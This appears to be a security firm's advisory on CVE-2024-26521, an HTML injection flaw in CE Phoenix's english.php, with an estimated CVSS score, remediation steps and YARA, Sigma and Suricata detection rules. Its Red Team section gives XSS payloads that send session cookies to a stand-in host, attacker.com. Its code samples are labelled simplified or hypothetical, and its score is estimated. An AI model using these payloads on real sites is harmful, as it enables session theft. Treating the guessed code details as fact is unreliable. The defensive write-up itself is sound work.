CVE-2024-26521

Executive Summary

CVE-2024-26521 is an HTML Injection vulnerability identified in CE Phoenix version 1.0.8.20 and earlier. The flaw resides in the english.php component, allowing a remote attacker to inject arbitrary HTML and JavaScript. This can lead to Cross-Site Scripting (XSS), privilege escalation, and sensitive information disclosure. The vulnerability is publicly known but remains unpatched, posing a significant risk to unhardened instances.

Supply Chain & Package Security

CE Phoenix is a PHP-based e-commerce platform. The vulnerability affects the core english.php file, which is part of the application's language and localization system. No package manager (NPM, PyPI, Go, Ruby) is involved; however, the risk extends to any deployment using the vulnerable version. Administrators should verify file integrity and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a formal score. Based on the description and impact, a reasonable estimate is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit a crafted page
• Scope (S): Changed (C) – injection can affect other components
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.2 (High)

Threat Level: High – due to low complexity, no authentication required, and potential for full compromise.

Deep Dive & Mechanics

The vulnerability exists in the english.php file, which handles language translations and user-facing text. The component fails to sanitize user-supplied input before rendering it in HTML. An attacker can craft a payload containing HTML tags or JavaScript, which is then executed in the context of the victim's browser.

Root Cause: Lack of output encoding or input validation in the english.php script. The application directly echoes user-controlled data without escaping HTML entities.

Attack Vector: Remote, unauthenticated attacker sends a crafted request (e.g., via a URL parameter or form field) that is processed by english.php. The injected payload is stored or reflected and executed when an administrator or user views the affected page.

Impact:

• Cross-Site Scripting (XSS): Execute arbitrary JavaScript in the victim's browser.
• Privilege Escalation: If an admin views the injected page, the attacker can steal session cookies or perform actions on behalf of the admin.
• Sensitive Information Disclosure: Access to local storage, session tokens, or other data.

Vulnerable vs. Patched Code

Vulnerable Code (CE Phoenix <= 1.0.8.20):

// english.php (simplified)
echo $_GET['message'];

Patched Code (Hypothetical):

// english.php (patched)
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

The vulnerable version directly outputs user input without sanitization. The patched version uses htmlspecialchars() to encode HTML entities, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• CE Phoenix 1.0.8.20 or earlier installed.
• Access to a parameter processed by english.php (e.g., ?message=).

Exploit Payload:

<script>alert('XSS')</script>

Step-by-Step:

1. Identify a vulnerable endpoint: http://target.com/english.php?message=INJECT
2. Inject a payload: http://target.com/english.php?message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
3. Send the link to an admin or victim.
4. Capture the cookie on the attacker's server.

Advanced Payload (Session Hijacking):

<img src=x onerror="fetch('http://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team

Detection:

• Monitor web logs for requests containing <script>, onerror, or onload in parameters.
• Use WAF rules to block HTML/JavaScript in english.php parameters.

Hunting:

• Search for english.php in access logs with suspicious query strings.
• Check for unexpected outbound connections from the web server.

Lab Setup:

• Deploy a vulnerable CE Phoenix instance in a sandboxed environment.
• Use Burp Suite or OWASP ZAP to test injection points.
• Simulate attacks and verify detection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to english.php with parameters containing <script>, onerror, onload, or javascript:.
• Outbound connections to unknown IPs on ports 80/443 from the web server.

File IOCs:

• Modified english.php file with injected code.
• Unexpected files in the includes/languages/ directory.

Log IOCs:

• Web server logs showing GET /english.php?message=<script>...</script>.
• Error logs with PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_26521_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts targeting CE Phoenix english.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26521"
    strings:
        $injection1 = /english\.php\?.*<script/i
        $injection2 = /english\.php\?.*onerror/i
        $injection3 = /english\.php\?.*onload/i
        $injection4 = /english\.php\?.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-26521 HTML Injection in CE Phoenix
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit HTML injection in english.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'english.php?message=<script'
            - 'english.php?message=onerror'
            - 'english.php?message=onload'
            - 'english.php?message=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26521 HTML Injection in CE Phoenix"; flow:to_server,established; content:"GET"; http_method; content:"english.php"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints: If english.php is not critical, block access via .htaccess or firewall.
2. Apply input validation: Sanitize all user inputs using htmlspecialchars() or a similar function.
3. Use a WAF: Deploy rules to block HTML/JavaScript in query parameters.

Long-Term Fix:

• Upgrade to a patched version once available.
• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Conduct a full code audit for similar injection flaws.

Workaround:

• Modify english.php to escape output:

echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

Valters IT
Securing Digital Frontiers